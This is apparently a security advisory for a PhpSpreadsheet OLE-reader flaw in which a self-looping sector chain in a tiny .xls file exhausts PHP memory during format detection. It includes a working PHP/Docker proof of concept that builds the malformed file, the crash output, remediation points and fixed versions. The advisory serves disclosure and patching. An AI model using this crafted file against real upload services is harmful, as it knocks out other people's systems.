PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
$this->data, $this->bigBlockChain, or $this->smallBlockChain;Reader\Exception for malformed OLE chains.readData().| Software | From | Fixed in |
|---|---|---|
phpoffice / phpspreadsheet
|
4.0.0 | 5.8.1 |
phpoffice / phpspreadsheet
|
3.3.0 | 3.10.7 |
phpoffice / phpspreadsheet
|
2.2.0 | 2.4.7 |
phpoffice / phpspreadsheet
|
2.0.0 | 2.1.18 |
phpoffice / phpspreadsheet
|
- | 1.30.6 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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